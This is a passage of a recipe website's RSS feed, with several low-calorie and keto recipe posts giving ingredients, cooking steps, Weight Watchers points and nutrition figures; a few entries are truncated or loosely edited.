<p>The post <a href="https://skinnydietrecipes.com/sugar-cookie-fudge-instructions">Sugar Cookie Fudge instructions</a> appeared first on <a href="https://skinnydietrecipes.com">Recipes</a>.</p>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">4899</post-id>	</item>
		<item>
		<title>Chicken &#038; Veggie Bowl</title>
		<link>https://skinnydietrecipes.com/chicken-veggie-bowl</link>
		
		<dc:creator><![CDATA[latso]]></dc:creator>
		<pubDate>Sat, 09 Aug 2025 19:01:36 +0000</pubDate>
				<category><![CDATA[Uncategorized]]></category>
		<guid isPermaLink="false">https://skinnydietrecipes.com/?p=4483</guid>

					<description><![CDATA[<p>Instructions: WW SmartPoints Breakdown: Total: Approximately 2 WW points per serving</p>
<p>The post <a href="https://skinnydietrecipes.com/chicken-veggie-bowl">Chicken &amp; Veggie Bowl</a> appeared first on <a href="https://skinnydietrecipes.com">Recipes</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="771" height="1024" src="https://skinnydietrecipes.com/wp-content/uploads/2025/08/IMG_0990-771x1024.jpeg" alt="" class="wp-image-4484" srcset="https://skinnydietrecipes.com/wp-content/uploads/2025/08/IMG_0990-771x1024.jpeg 771w, https://skinnydietrecipes.com/wp-content/uploads/2025/08/IMG_0990-226x300.jpeg 226w, https://skinnydietrecipes.com/wp-content/uploads/2025/08/IMG_0990-768x1020.jpeg 768w, https://skinnydietrecipes.com/wp-content/uploads/2025/08/IMG_0990.jpeg 928w" sizes="auto, (max-width: 771px) 100vw, 771px" /></figure>



<ul class="wp-block-list">
<li>1/2 cup onions, sautéed (use avocado or <a href="https://fooodhub.com/chicken-veggie-bowl/?fbclid=IwZXh0bgNhZW0CMTEAAR5FpriqvV5N-xWwJzxxf7UqdxZbkNUS0TLBXe03p2M5KLcKVuR-ybFAky--Og_aem_dUAarKxR0JKPKiZ4iIcBsw#"> olive oil</a> spray)</li>



<li>6 oz grilled skinless chicken breast</li>



<li><a href="https://fooodhub.com/chicken-veggie-bowl/?fbclid=IwZXh0bgNhZW0CMTEAAR5FpriqvV5N-xWwJzxxf7UqdxZbkNUS0TLBXe03p2M5KLcKVuR-ybFAky--Og_aem_dUAarKxR0JKPKiZ4iIcBsw#"> Seasonings</a>: garlic powder, paprika, black pepper</li>



<li>1 can (about 1 cup) green beans, drained</li>



<li>1 oz part-skim shredded <a href="https://fooodhub.com/chicken-veggie-bowl/?fbclid=IwZXh0bgNhZW0CMTEAAR5FpriqvV5N-xWwJzxxf7UqdxZbkNUS0TLBXe03p2M5KLcKVuR-ybFAky--Og_aem_dUAarKxR0JKPKiZ4iIcBsw#"> cheese</a></li>
</ul>



<p><strong>Instructions:</strong></p>



<ol class="wp-block-list">
<li>Lightly spray a pan with oil spray and sauté onions until tender.</li>



<li>Grill chicken breast seasoned with garlic powder, paprika, and pepper.</li>



<li>Heat the green beans separately.</li>



<li>Combine sautéed onions, grilled chicken, and green beans on a plate.</li>



<li>Sprinkle shredded cheese on top and enjoy!</li>
</ol>



<h3 class="wp-block-heading">WW SmartPoints Breakdown:</h3>



<ul class="wp-block-list">
<li>Onions + oil spray: 0 points</li>



<li>Chicken breast (6 oz): 0 points</li>



<li>Seasonings: 0 points</li>



<li>Green beans: 0 points</li>



<li>Part-skim shredded cheese (1 oz): 2 points</li>
</ul>



<p><strong>Total: Approximately 2 WW points per serving</strong></p>
<p>The post <a href="https://skinnydietrecipes.com/chicken-veggie-bowl">Chicken &amp; Veggie Bowl</a> appeared first on <a href="https://skinnydietrecipes.com">Recipes</a>.</p>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">4483</post-id>	</item>
		<item>
		<title>Healthy Dill Pickle Chicken Salad</title>
		<link>https://skinnydietrecipes.com/healthy-dill-pickle-chicken-salad</link>
		
		<dc:creator><![CDATA[latso]]></dc:creator>
		<pubDate>Wed, 18 Jun 2025 19:38:30 +0000</pubDate>
				<category><![CDATA[Uncategorized]]></category>
		<guid isPermaLink="false">https://skinnydietrecipes.com/?p=4039</guid>

					<description><![CDATA[<p>Prep Time&#160;10minutes&#160;MINS Cook Time&#160;12minutes&#160;MINS Total Time&#160;22minutes&#160;MINS Approximate Serving Size:&#160;3/4 cup SERVINGS&#160;6 This healthy Dill Pickle Chicken&#160;&#160;Salad&#160;is a delicious low carb chicken salad recipe. A similar and healthy Chick-Fil-A chicken salad alternative, you can enjoy the salty and creamy recipe as a dip, on a sandwich, or as a salad topping. Equipment Ingredients&#160;: Instructions Instant Pot [&#8230;]</p>
<p>The post <a href="https://skinnydietrecipes.com/healthy-dill-pickle-chicken-salad">Healthy Dill Pickle Chicken Salad</a> appeared first on <a href="https://skinnydietrecipes.com">Recipes</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="771" height="1024" src="https://skinnydietrecipes.com/wp-content/uploads/2025/06/IMG_0860-771x1024.jpeg" alt="" class="wp-image-4040" srcset="https://skinnydietrecipes.com/wp-content/uploads/2025/06/IMG_0860-771x1024.jpeg 771w, https://skinnydietrecipes.com/wp-content/uploads/2025/06/IMG_0860-226x300.jpeg 226w, https://skinnydietrecipes.com/wp-content/uploads/2025/06/IMG_0860-768x1020.jpeg 768w, https://skinnydietrecipes.com/wp-content/uploads/2025/06/IMG_0860-1156x1536.jpeg 1156w, https://skinnydietrecipes.com/wp-content/uploads/2025/06/IMG_0860-1024x1360.jpeg 1024w, https://skinnydietrecipes.com/wp-content/uploads/2025/06/IMG_0860.jpeg 1179w" sizes="auto, (max-width: 771px) 100vw, 771px" /></figure>



<p><strong>Prep Time&nbsp;</strong>10minutes&nbsp;MINS</p>



<p><strong>Cook Time&nbsp;</strong>12minutes&nbsp;MINS</p>



<p><strong>Total Time&nbsp;</strong>22minutes&nbsp;MINS</p>



<p><strong>Approximate Serving Size:&nbsp;</strong>3/4 cup</p>



<p><strong>SERVINGS&nbsp;</strong>6</p>



<p>This healthy Dill Pickle Chicken&nbsp;<a href="https://ketosisguide.us/healthy-dill-pickle-chicken-salad-104ar/?fbclid=IwZXh0bgNhZW0CMTEAAR4jxiXkcETdEGj84-a5l4W_7cOyruer89xsi5I3mlFv5B8RHxQlqVDj-ObmRg_aem_FsaxeVAG7ke1tLSNVvnC8Q#">&nbsp;Salad</a>&nbsp;is a delicious low carb chicken salad recipe. A similar and healthy Chick-Fil-A chicken salad alternative, you can enjoy the salty and creamy recipe as a dip, on a sandwich, or as a salad topping.</p>



<h3 class="wp-block-heading">Equipment</h3>



<ul class="wp-block-list">
<li>Instant Pot 6 qt</li>



<li>Kitchen Knife</li>



<li>Cutting Board</li>
</ul>



<p>Ingredients&nbsp;:</p>



<ul class="wp-block-list">
<li>1 pound chicken breast about 2 breasts</li>



<li>▢1/3 cup vinegar I use white</li>



<li>▢3/4 cup plain Greek yogurt I prefer 2%</li>



<li>▢3/4 cup cottage cheese</li>



<li>▢1 tsp garlic</li>



<li>▢1 tsp black pepper</li>



<li>▢1 tbsp fresh chives chopped (or 1 tsp dried)</li>



<li>▢1/2 tbsp fresh dill chopped (or 1/2 tsp dried)</li>



<li>▢1 tbsp fresh parsley chopped (or 1 tsp dried)</li>



<li>▢1 cup dill pickles chopped, please see note in post about using 1/2 pickles and 1/2 cucumbers</li>
</ul>



<h3 class="wp-block-heading">Instructions</h3>



<h4 class="wp-block-heading">Instant Pot Directions:</h4>



<ul class="wp-block-list">
<li>Add the chicken and vinegar to the Instant Pot insert. 1 pound chicken breast, 1/3 cup vinegar</li>



<li>Close the lid and turn the pressure valve to sealing. Cook the chicken on high pressure using the manual or pressure cook setting for 10-12 minutes. Let the pressure release naturally for at least 10 minutes before doing a quick release.</li>



<li>In a food processor or blender, mix together the Greek yogurt, cottage cheese, garlic, and pepper until smooth. 3/4 cup plain Greek yogurt, 3/4 cup cottage cheese, 1 tsp garlic, 1 tsp black pepper</li>



<li>Remove the lid from the food processor or blender, then add the chicken to the food processor. You may need to break the chicken breasts in half so that they fit.</li>



<li>Use the food processor or blender to shred the chicken and mix it with the sauce. It will only take about 5-15 seconds to shred the chicken.</li>



<li>Take off the lid and remove the blade. Fold the chives, dill, parsley, and dill pickles into the dip. Garnish and serve with sliced veggies to dip. 1 tbsp fresh chives, 1/2 tbsp fresh dill, 1 tbsp fresh parsley, 1 cup dill pickles</li>
</ul>



<h4 class="wp-block-heading">Stove Top Directions:</h4>



<ul class="wp-block-list">
<li>Add the chicken and vinegar to a sauce pan. 1 pound chicken breast, 1/3 cup vinegar</li>



<li>Cover the sauce pan with a lid and cook the chicken on medium high temperature for 15-20 minutes until the chicken is cooked through.</li>



<li>In a food processor or blender, mix together the Greek yogurt, cottage cheese, garlic, and pepper until smooth. 3/4 cup plain Greek yogurt, 3/4 cup cottage cheese, 1 tsp garlic, 1 tsp black pepper</li>



<li>Remove the lid from the food processor or blender, then add the chicken to the food processor. You may need to break the chicken breasts in half so that they fit.</li>



<li>Use the food processor or blender to shred the chicken and mix it with the sauce. It will only take about 5-15 seconds to shred the chicken.</li>



<li>Take off the lid and remove the blade. Fold the chives, dill, parsley, and <a href="https://ketosisguide.us/healthy-dill-pickle-chicken-salad-104ar/?fbclid=IwZXh0bgNhZW0CMTEAAR4jxiXkcETdEGj84-a5l4W_7cOyruer89xsi5I3mlFv5B8RHxQlqVDj-ObmRg_aem_FsaxeVAG7ke1tLSNVvnC8Q#"> dill pickles</a> into the dip. Garnish and serve with sliced veggies to dip. 1 tbsp fresh chives, 1/2 tbsp fresh dill, 1 tbsp fresh parsley, 1 cup dill pickles</li>
</ul>



<h4 class="wp-block-heading">Slow Cooker Directions:</h4>



<ul class="wp-block-list">
<li>Add the chicken and vinegar to your slow cooker. 1 pound chicken breast, 1/3 cup vinegar</li>



<li>Cover the slow cooker with the lid and cook the chicken on high heat for 2-3 hour, low heat for 4-5 hours, or until the chicken is cooked through.</li>



<li>In a food processor or blender, mix together the Greek yogurt, cottage cheese, garlic, and pepper until smooth. 3/4 cup plain Greek yogurt, 3/4 cup cottage cheese, 1 tsp garlic, 1 tsp black pepper</li>



<li>Remove the lid from the food processor or blender then add the chicken to the food processor. You may need to break the chicken breasts in half so that they fit.</li>



<li>Use the food processor or blender to shred the chicken and mix it with the sauce. It will only take about 5-15 seconds to shred the chicken.</li>



<li>Take off the lid and remove the blade. Fold the chives, dill, parsley, and dill pickles into the dip. Garnish and serve with sliced veggies to dip. 1 tbsp fresh chives, 1/2 tbsp fresh dill, 1 tbsp fresh parsley, 1 cup dill pickles</li>



<li>Notes</li>



<li><strong>21 Day Fix container counts</strong> for the entire recipe: 6 red containers, 1 green container. Per serving: 1 red container, 1/6 green container.</li>



<li><strong>Weight Watchers:</strong> One serving of this recipe (about 3/4 cup) is 0 2023 Points, 1 Blue Plan Point, 2 Green Plan Points, and 1 Purple Plan Point when you use fat free Greek yogurt and fat free cottage cheese.</li>



<li>Nutrition</li>



<li>Calories: 135kcal | Carbohydrates: 3g | Protein: 23g | Fat: 3g | Saturated Fat: 1g | Cholesterol: 51mg | Sodium: 423mg | Potassium: 326mg | Fiber: 1g | Sugar: 2g | Vitamin A: 169IU | Vitamin C: 2mg | Calcium: 64mg | Iron: 1mg</li>
</ul>
<p>The post <a href="https://skinnydietrecipes.com/healthy-dill-pickle-chicken-salad">Healthy Dill Pickle Chicken Salad</a> appeared first on <a href="https://skinnydietrecipes.com">Recipes</a>.</p>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">4039</post-id>	</item>
		<item>
		<title>Mediterranean Spinach and Feta Crisps</title>
		<link>https://skinnydietrecipes.com/mediterranean-spinach-and-feta-crisps</link>
		
		<dc:creator><![CDATA[latso]]></dc:creator>
		<pubDate>Wed, 18 Jun 2025 19:22:21 +0000</pubDate>
				<category><![CDATA[Uncategorized]]></category>
		<guid isPermaLink="false">https://skinnydietrecipes.com/?p=4036</guid>

					<description><![CDATA[<p>Mediterranean Spinach and Feta Crisps Yields: 12-15 crisps Prep time: 15 minutes Cook time: 10-12 minutes Ingredients: 1 cup fresh spinach, washed and chopped 1/2 cup crumbled feta cheese 1/4 cup all-purpose flour 1/4 cup grated Parmesan cheese 2 large eggs, beaten 1/4 teaspoon garlic powder 1/4 teaspoon dried oregano Salt and pepper to taste [&#8230;]</p>
<p>The post <a href="https://skinnydietrecipes.com/mediterranean-spinach-and-feta-crisps">Mediterranean Spinach and Feta Crisps</a> appeared first on <a href="https://skinnydietrecipes.com">Recipes</a>.</p>
]]></description>
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<p>Mediterranean Spinach and Feta Crisps</p>



<p>Yields: 12-15 crisps</p>



<p>Prep time: 15 minutes</p>



<p>Cook time: 10-12 minutes</p>



<p>Ingredients:</p>



<p>1 cup fresh spinach, washed and chopped</p>



<p>1/2 cup crumbled feta cheese</p>



<p>1/4 cup all-purpose flour</p>



<p>1/4 cup grated Parmesan cheese</p>



<p>2 large eggs, beaten</p>



<p>1/4 teaspoon garlic powder</p>



<p>1/4 teaspoon dried oregano</p>



<p>Salt and pepper to taste</p>



<p>Olive oil spray</p>



<p>Must express something to keep getting my</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="512" height="640" src="https://skinnydietrecipes.com/wp-content/uploads/2025/06/IMG_0859.jpeg" alt="" class="wp-image-4037" srcset="https://skinnydietrecipes.com/wp-content/uploads/2025/06/IMG_0859.jpeg 512w, https://skinnydietrecipes.com/wp-content/uploads/2025/06/IMG_0859-240x300.jpeg 240w" sizes="auto, (max-width: 512px) 100vw, 512px" /></figure>
<p>The post <a href="https://skinnydietrecipes.com/mediterranean-spinach-and-feta-crisps">Mediterranean Spinach and Feta Crisps</a> appeared first on <a href="https://skinnydietrecipes.com">Recipes</a>.</p>
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		<post-id xmlns="com-wordpress:feed-additions:1">4036</post-id>	</item>
		<item>
		<title>Chicken Sausage &#038; Veggie Pasta Meal Prep</title>
		<link>https://skinnydietrecipes.com/chicken-sausage-veggie-pasta-meal-prep</link>
		
		<dc:creator><![CDATA[latso]]></dc:creator>
		<pubDate>Mon, 09 Jun 2025 14:00:03 +0000</pubDate>
				<category><![CDATA[Uncategorized]]></category>
		<guid isPermaLink="false">https://skinnydietrecipes.com/?p=3957</guid>

					<description><![CDATA[<p>Chicken Sausage &#38; Veggie Pasta Meal Prep Key ingredients: Penne pasta Chicken sausage (sliced) Zucchini, carrots, yellow squash, bell peppers Olive oil and Italian seasoning Basic Recipe:</p>
<p>The post <a href="https://skinnydietrecipes.com/chicken-sausage-veggie-pasta-meal-prep">Chicken Sausage &amp; Veggie Pasta Meal Prep</a> appeared first on <a href="https://skinnydietrecipes.com">Recipes</a>.</p>
]]></description>
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<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="769" height="1024" src="https://skinnydietrecipes.com/wp-content/uploads/2025/06/IMG_0814-769x1024.jpeg" alt="" class="wp-image-3958" srcset="https://skinnydietrecipes.com/wp-content/uploads/2025/06/IMG_0814-769x1024.jpeg 769w, https://skinnydietrecipes.com/wp-content/uploads/2025/06/IMG_0814-225x300.jpeg 225w, https://skinnydietrecipes.com/wp-content/uploads/2025/06/IMG_0814-768x1023.jpeg 768w, https://skinnydietrecipes.com/wp-content/uploads/2025/06/IMG_0814-1153x1536.jpeg 1153w, https://skinnydietrecipes.com/wp-content/uploads/2025/06/IMG_0814-1024x1364.jpeg 1024w, https://skinnydietrecipes.com/wp-content/uploads/2025/06/IMG_0814.jpeg 1537w" sizes="auto, (max-width: 769px) 100vw, 769px" /></figure>



<p>Chicken Sausage &amp; Veggie Pasta Meal Prep</p>



<p>Key ingredients:</p>



<p>Penne pasta</p>



<p>Chicken sausage (sliced)</p>



<p>Zucchini, carrots, yellow squash, bell peppers</p>



<p>Olive oil and Italian seasoning</p>



<p>Basic Recipe:</p>



<ol class="wp-block-list">
<li>Pasta: Cook penne pasta until al dente and drain.</li>



<li>Sauté: In a large pan, cook chicken sausage slices until browned. Remove and set aside.</li>



<li>Vegetables: In the same pan, sauté chopped veggies until tender. Season with Italian herbs, salt, and pepper.</li>



<li>Combine: Mix pasta, sausage, and vegetables together.</li>



<li>Meal prep: Portion into containers for the week.</li>
</ol>
<p>The post <a href="https://skinnydietrecipes.com/chicken-sausage-veggie-pasta-meal-prep">Chicken Sausage &amp; Veggie Pasta Meal Prep</a> appeared first on <a href="https://skinnydietrecipes.com">Recipes</a>.</p>
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		<post-id xmlns="com-wordpress:feed-additions:1">3957</post-id>	</item>
		<item>
		<title>Keto Philly Cheesesteak Casserole</title>
		<link>https://skinnydietrecipes.com/keto-philly-cheesesteak-casserole</link>
		
		<dc:creator><![CDATA[latso]]></dc:creator>
		<pubDate>Sun, 08 Jun 2025 18:22:34 +0000</pubDate>
				<category><![CDATA[Uncategorized]]></category>
		<guid isPermaLink="false">https://skinnydietrecipes.com/?p=3947</guid>

					<description><![CDATA[<p>Keto Philly Cheesesteak Casserole gives you high proteins and fats while being low in carbs. This makes it most suitable for individuals who want to put their bodies into ketosis. The recipe has some steps but the wonderful part is that you can cook ground beef and saute the veggies a couple of days before you want [&#8230;]</p>
<p>The post <a href="https://skinnydietrecipes.com/keto-philly-cheesesteak-casserole">Keto Philly Cheesesteak Casserole</a> appeared first on <a href="https://skinnydietrecipes.com">Recipes</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-1 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="724" height="1024" data-id="3948" src="https://skinnydietrecipes.com/wp-content/uploads/2025/06/IMG_0808-724x1024.jpeg" alt="" class="wp-image-3948" srcset="https://skinnydietrecipes.com/wp-content/uploads/2025/06/IMG_0808-724x1024.jpeg 724w, https://skinnydietrecipes.com/wp-content/uploads/2025/06/IMG_0808-212x300.jpeg 212w, https://skinnydietrecipes.com/wp-content/uploads/2025/06/IMG_0808-768x1086.jpeg 768w, https://skinnydietrecipes.com/wp-content/uploads/2025/06/IMG_0808-1086x1536.jpeg 1086w, https://skinnydietrecipes.com/wp-content/uploads/2025/06/IMG_0808-1024x1448.jpeg 1024w, https://skinnydietrecipes.com/wp-content/uploads/2025/06/IMG_0808.jpeg 1448w" sizes="auto, (max-width: 724px) 100vw, 724px" /></figure>
</figure>



<p>Keto Philly <a href="https://mealire.com/?s=Cheesesteak">Cheesesteak</a> Casserole gives you high proteins and fats while being low in carbs. This makes it most suitable for individuals who want to put their bodies into ketosis. The recipe has some steps but the wonderful part is that you can cook ground beef and saute the veggies a couple of days before you want to serve or eat. This helps you to bake it quickly and serve it without the hassle of doing preparations at that time. Keto Philly Cheese Steak Casserole only contains 7 grams of net carbs with 34.6 grams of fats, and 35.8 g of proteins in a serving. These nutrition calculations show that it is the most healthy keto dish you can have on your menu.</p>



<h3 class="wp-block-heading">INGREDIENTS:</h3>



<ul class="wp-block-list">
<li>¼ cup of chicken bone broth.</li>



<li>Sea salt, two tsp.</li>



<li>½ teaspoon of garlic powder.</li>



<li>Black pepper, half tsp.<br>A teaspoon of smoked paprika.</li>



<li>3 bell peppers</li>



<li>Italian seasoning, ½ tbsp.</li>



<li>Six slices of provolone cheese.</li>



<li>An onion, large.</li>



<li>INGREDIENT NOTES:</li>



<li>BEEF: The recipe here uses ground beef. You are independent in using shaved steak cut in very thin slices.</li>



<li>PROVOLONE CHEESE: You can use either the grated provolone cheese or its slices. It will give a classical taste to your dish. If you are out of provolone cheese then you are welcome to use any of the white cheeses such as Colby Jack, white cheddar, or mozzarella cheese.</li>



<li>ITALIAN SEASONING: It gives your dish a unique and classical touch.</li>



<li>BELL PEPPERS: Use any one of the available colors of the bell pepper or use every color of the bell pepper. Make thin slices of the bell peppers.</li>



<li>ONION: Make thin slices of any of the yellow, red, or sweet onions.</li>
</ul>
<p>The post <a href="https://skinnydietrecipes.com/keto-philly-cheesesteak-casserole">Keto Philly Cheesesteak Casserole</a> appeared first on <a href="https://skinnydietrecipes.com">Recipes</a>.</p>
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